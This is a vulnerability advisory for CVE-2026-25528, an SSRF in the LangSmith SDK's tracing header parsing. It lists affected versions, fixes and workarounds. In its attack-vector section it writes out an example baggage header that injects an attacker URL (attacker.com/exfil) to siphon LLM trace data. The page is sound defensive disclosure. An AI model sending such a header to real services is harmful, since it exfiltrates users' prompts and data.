CVE-2026-25528: LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection
Summary The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary apiurl values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.
Published Feb 9, 2026
Affected packages
langsmith
- Ecosystem
- PyPI
- Affected
- >= 0.4.10, < 0.6.3
- Fixed in
- 0.6.3
- Check
pip show langsmith
langsmith
- Ecosystem
- npm
- Affected
- >= 0.3.41, < 0.4.6
- Fixed in
- 0.4.6
- Check
npm ls langsmith
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.
---
Description
When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.
Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.
---
Attack Vector
- Attacker sends an HTTP request to a vulnerable service with a malicious
baggageheader: ``baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]``
- The service parses the header via
RunTree.from_headers(), storing the attacker's URL
- When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to
https://attacker.com/exfil
---
Impact
- Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
- SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services
---
Affected Use Cases
Applications are vulnerable if they:
- Use
TracingMiddlewareto automatically propagate tracing context - Call
RunTree.from_headers()/RunTree.fromHeaders()with untrusted HTTP headers
---
Remediation
Update to the patched versions:
- Python:
pip install langsmith>=0.6.3 - JavaScript:
npm install langsmith@>=0.4.6
The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.
---
Workarounds
If unable to upgrade immediately:
- Strip or validate the
baggageheader before passing tofrom_headers() - Do not use
TracingMiddlewarewith untrusted traffic
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More LangSmith SDK vulnerabilities
All LangSmith SDK entriesGHSA-f4xh-w4cj-qxq8
LangSmith SDK TracingMiddleware: Arbitrary server-side file read
high7.7Jun 19, 2026CVE-2026-45134
LangSmith SDK: Public prompt pull deserializes untrusted manifests without trust boundary warning
high7.1May 13, 2026CVE-2026-41182
LangSmith SDK: Streaming token events bypass output redaction
medium5.3Apr 16, 2026
